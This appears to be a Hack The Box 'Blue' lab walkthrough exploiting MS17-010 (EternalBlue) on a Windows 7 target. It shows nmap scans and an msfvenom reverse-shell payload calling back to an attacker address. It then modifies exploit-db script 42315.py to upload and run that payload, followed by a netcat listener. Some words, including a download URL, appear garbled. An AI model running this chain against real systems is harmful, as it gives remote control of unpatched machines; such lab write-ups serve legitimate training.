

ETERNAL BLUE WITH METASPLOT AND WITHOUT METASPLOIT

```
akg@akg: ~  
File Actions Edit View Help  
root@akg:/home/akg/Desktop/hackthebox# nmap -sV -sC blue.htb > scan  
root@akg:/home/akg/Desktop/hackthebox# cat scan  
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-12 10:50 EDT  
Nmap scan report for blue.htb (10.10.10.40)  
Host is up (0.095s latency).  
Not shown: 991 closed ports  
PORT      STATE SERVICE      VERSION  
135/tcp   open  msrpc        Microsoft Windows RPC  
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn  
445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)  
49152/tcp open  msrpc        Microsoft Windows RPC  
49153/tcp open  msrpc        Microsoft Windows RPC  
49154/tcp open  msrpc        Microsoft Windows RPC  
49155/tcp open  msrpc        Microsoft Windows RPC  
49156/tcp open  msrpc        Microsoft Windows RPC  
49157/tcp open  msrpc        Microsoft Windows RPC  
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows  
  
Host script results:  
_clock-skew: mean: 1m22s, deviation: 2s, median: 1m20s  
smb-os-discovery:  
  OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)  
  OS CPE: cpe:/o:microsoft:windows_7::sp1:professional  
  Computer name: haris-PC  
  NetBIOS computer name: HARIS-PC\x00  
  Workgroup: WORKGROUP\x00  
  System time: 2020-03-12T14:53:08+00:00
```

nmap --script vuln -p445 blue.htb

```
File Actions Edit View Help  
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-12 10:53 EDT  
Nmap scan report for blue.htb (10.10.10.40)  
Host is up (0.074s latency).  
  
PORT      STATE SERVICE  
445/tcp   open  microsoft-ds  
|_clamav-exec: ERROR: Script execution failed (use -d to debug)  
  
Host script results:  
_smb-vuln-ms10-054: false  
_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND  
_smb-vuln-ms17-010:  
  VULNERABLE:  
  Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)  
  State: VULNERABLE  
  IDs:  CVE-2017-0143  
  Risk factor: HIGH  
  A critical remote code execution vulnerability exists in Microsoft SMBv1  
  servers (ms17-010).  
  
  Disclosure date: 2017-03-14  
  References:  
    https://technet.microsoft.com/en-us/library/security/ms17-010.aspx  
    https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/  
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143  
_smb-vuln-ms17-010:  
  
Nmap done: 1 IP address (1 host up) scanned in 25.67 seconds  
root@akg:/home/akg/Desktop/hackthebox#
```

NO METASPLOIT

msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.11 LPORT=4444 > eternal-blue.exe

wget <https://raw.githubusercontent.com/offensive-security/exploitdb-bin-splotts/master/bin-splotts/42315.py>

root@kali:/home/kali/Desktop/hackthebox/blue# mv 42315.py mysmb.py

root@kali:/home/kali/Desktop/hackthebox/blue# searchsploit ms17-010

root@kali:/home/kali/Desktop/hackthebox/blue# cp /usr/share/exploitdb/exploits/windows/remote/42315.py .

```
gedit 42315.py
```

```
USERNAME = 'guest'
```

```
PASSWORD = ''
```

```
smb_send_file(smbConn, '/home/kali/Desktop/hackthebox/blue/eternal-blue.exe', 'C', '/eternal-blue.exe')
```

```
service_exec(conn, r'cmd /c c:\eternal-blue.exe')
```

```
root@kali:/home/kali# nc -nlvp 4444
```

```
root@kali:/home/kali/Desktop/hackthebox/blue# python 42315.py 10.10.10.40
```